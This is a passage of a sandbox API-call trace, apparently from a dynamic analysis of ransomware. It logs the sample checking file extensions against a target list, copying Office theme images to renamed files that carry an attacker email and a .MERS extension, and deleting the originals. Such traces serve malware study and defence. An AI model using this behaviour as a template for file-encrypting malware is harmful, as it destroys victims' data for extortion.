Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0048.893] lstrlenW (lpString=".zip") returned 4 [0048.893] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.893] lstrlenW (lpString=".rar") returned 4 [0048.893] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.893] lstrlenW (lpString=".bz2") returned 4 [0048.893] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.893] lstrlenW (lpString=".7z") returned 3 [0048.893] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.893] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0048.893] lstrlenW (lpString=".dbf") returned 4 [0048.893] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0048.894] lstrlenW (lpString=".1cd") returned 4 [0048.894] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0048.894] lstrlenW (lpString=".jpg") returned 4 [0048.894] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.894] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0048.894] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.903] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=11573) returned 1 [0048.903] CloseHandle (hObject=0x218) returned 1 [0048.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20 [0048.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.903] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.903] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.903] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0048.904] GetLastError () returned 0x0 [0048.904] ReadFile (in: hFile=0x218, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x2d35, lpOverlapped=0x0) returned 1 [0049.414] WriteFile (in: hFile=0x1c4, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x2d40, lpOverlapped=0x0) returned 1 [0049.415] ReadFile (in: hFile=0x218, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.415] WriteFile (in: hFile=0x1c4, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.415] SetEndOfFile (hFile=0x1c4) returned 1 [0049.415] CloseHandle (hObject=0x1c4) returned 1 [0049.415] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.415] SetEndOfFile (hFile=0x218) returned 1 [0049.418] CloseHandle (hObject=0x218) returned 1 [0049.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0049.418] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 1 [0049.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0049.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0049.419] lstrlenW (lpString=".doc") returned 4 [0049.419] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.419] lstrlenW (lpString=".docx") returned 5 [0049.419] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.419] lstrlenW (lpString=".pdf") returned 4 [0049.419] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.419] lstrlenW (lpString=".xls") returned 4 [0049.419] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.419] lstrlenW (lpString=".xlsx") returned 5 [0049.419] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.419] lstrlenW (lpString=".ppt") returned 4 [0049.419] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0049.419] lstrlenW (lpString=".zip") returned 4 [0049.419] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.419] lstrlenW (lpString=".rar") returned 4 [0049.419] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.419] lstrlenW (lpString=".bz2") returned 4 [0049.419] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.419] lstrlenW (lpString=".7z") returned 3 [0049.419] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0049.419] lstrlenW (lpString=".dbf") returned 4 [0049.419] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0049.419] lstrlenW (lpString=".1cd") returned 4 [0049.419] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0049.419] lstrlenW (lpString=".jpg") returned 4 [0049.419] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0049.419] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0049.419] lstrlenW (lpString=".doc") returned 4 [0049.420] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.420] lstrlenW (lpString=".docx") returned 5 [0049.420] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.420] lstrlenW (lpString=".pdf") returned 4 [0049.420] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.420] lstrlenW (lpString=".xls") returned 4 [0049.420] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.420] lstrlenW (lpString=".xlsx") returned 5 [0049.420] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.420] lstrlenW (lpString=".ppt") returned 4 [0049.420] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0049.420] lstrlenW (lpString=".zip") returned 4 [0049.420] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.420] lstrlenW (lpString=".rar") returned 4 [0049.420] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.420] lstrlenW (lpString=".bz2") returned 4 [0049.420] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.420] lstrlenW (lpString=".7z") returned 3 [0049.420] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0049.420] lstrlenW (lpString=".dbf") returned 4 [0049.420] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0049.420] lstrlenW (lpString=".1cd") returned 4 [0049.420] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.420] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0049.420] lstrlenW (lpString=".jpg") returned 4 [0049.420] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.420] lstrcmpiW (lpString1=".PNG", lpString2=".MERS") returned 1 [0049.421] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.421] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0049.673] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=16738) returned 1 [0049.674] CloseHandle (hObject=0x204) returned 1 [0049.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 0x20 [0049.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0049.674] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.674] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0049.674] GetLastError () returned 0x0 [0049.674] ReadFile (in: hFile=0x204, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x4162, lpOverlapped=0x0) returned 1 [0049.680] WriteFile (in: hFile=0x180, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x4170, lpOverlapped=0x0) returned 1 [0049.681] ReadFile (in: hFile=0x204, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.681] WriteFile (in: hFile=0x180, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.681] SetEndOfFile (hFile=0x180) returned 1 [0049.681] CloseHandle (hObject=0x180) returned 1 [0049.681] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.681] SetEndOfFile (hFile=0x204) returned 1 [0049.682] CloseHandle (hObject=0x204) returned 1 [0049.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0049.682] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 1 [0049.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0049.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0049.683] lstrlenW (lpString=".doc") returned 4 [0049.683] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.683] lstrlenW (lpString=".docx") returned 5 [0049.683] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.683] lstrlenW (lpString=".pdf") returned 4 [0049.683] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.683] lstrlenW (lpString=".xls") returned 4 [0049.683] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.683] lstrlenW (lpString=".xlsx") returned 5 [0049.683] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.683] lstrlenW (lpString=".ppt") returned 4 [0049.683] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.683] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0049.683] lstrlenW (lpString=".zip") returned 4 [0049.683] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.683] lstrlenW (lpString=".rar") returned 4 [0049.683] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.683] lstrlenW (lpString=".bz2") returned 4 [0049.683] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.683] lstrlenW (lpString=".7z") returned 3 [0049.683] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0049.684] lstrlenW (lpString=".dbf") returned 4 [0049.684] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0049.684] lstrlenW (lpString=".1cd") returned 4 [0049.684] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0049.684] lstrlenW (lpString=".jpg") returned 4 [0049.684] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0049.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0049.684] lstrlenW (lpString=".doc") returned 4 [0049.684] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.684] lstrlenW (lpString=".docx") returned 5 [0049.684] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.684] lstrlenW (lpString=".pdf") returned 4 [0049.684] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.684] lstrlenW (lpString=".xls") returned 4 [0049.684] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.684] lstrlenW (lpString=".xlsx") returned 5 [0049.684] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.684] lstrlenW (lpString=".ppt") returned 4 [0049.684] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0049.684] lstrlenW (lpString=".zip") returned 4 [0049.684] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.684] lstrlenW (lpString=".rar") returned 4 [0049.684] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.684] lstrlenW (lpString=".bz2") returned 4 [0049.684] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.684] lstrlenW (lpString=".7z") returned 3 [0049.684] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0049.684] lstrlenW (lpString=".dbf") returned 4 [0049.684] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.684] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0049.685] lstrlenW (lpString=".1cd") returned 4 [0049.685] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0049.685] lstrlenW (lpString=".jpg") returned 4 [0049.685] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.685] lstrcmpiW (lpString1=".GIF", lpString2=".MERS") returned -1 [0049.685] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.685] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0049.685] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1439) returned 1 [0049.685] CloseHandle (hObject=0x204) returned 1 [0049.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20 [0049.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0049.686] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.686] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0049.690] GetLastError () returned 0x0 [0049.690] ReadFile (in: hFile=0x204, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x59f, lpOverlapped=0x0) returned 1 [0049.751] WriteFile (in: hFile=0x1ec, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x5a0, lpOverlapped=0x0) returned 1 [0049.810] ReadFile (in: hFile=0x204, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.810] WriteFile (in: hFile=0x1ec, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.810] SetEndOfFile (hFile=0x1ec) returned 1 [0049.810] CloseHandle (hObject=0x1ec) returned 1 [0049.811] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.811] SetEndOfFile (hFile=0x204) returned 1 [0049.811] CloseHandle (hObject=0x204) returned 1 [0049.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0049.812] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 1 [0049.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0049.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0049.812] lstrlenW (lpString=".doc") returned 4 [0049.812] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.812] lstrlenW (lpString=".docx") returned 5 [0049.812] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.812] lstrlenW (lpString=".pdf") returned 4 [0049.812] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.812] lstrlenW (lpString=".xls") returned 4 [0049.812] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.812] lstrlenW (lpString=".xlsx") returned 5 [0049.812] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.812] lstrlenW (lpString=".ppt") returned 4 [0049.812] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0049.812] lstrlenW (lpString=".zip") returned 4 [0049.812] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.812] lstrlenW (lpString=".rar") returned 4 [0049.812] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.812] lstrlenW (lpString=".bz2") returned 4 [0049.812] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.813] lstrlenW (lpString=".7z") returned 3 [0049.813] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0049.813] lstrlenW (lpString=".dbf") returned 4 [0049.813] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0049.813] lstrlenW (lpString=".1cd") returned 4 [0049.813] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0049.813] lstrlenW (lpString=".jpg") returned 4 [0049.813] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0049.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0049.813] lstrlenW (lpString=".doc") returned 4 [0049.813] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.813] lstrlenW (lpString=".docx") returned 5 [0049.813] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.813] lstrlenW (lpString=".pdf") returned 4 [0049.813] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.813] lstrlenW (lpString=".xls") returned 4 [0049.813] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.813] lstrlenW (lpString=".xlsx") returned 5 [0049.813] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.813] lstrlenW (lpString=".ppt") returned 4 [0049.813] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 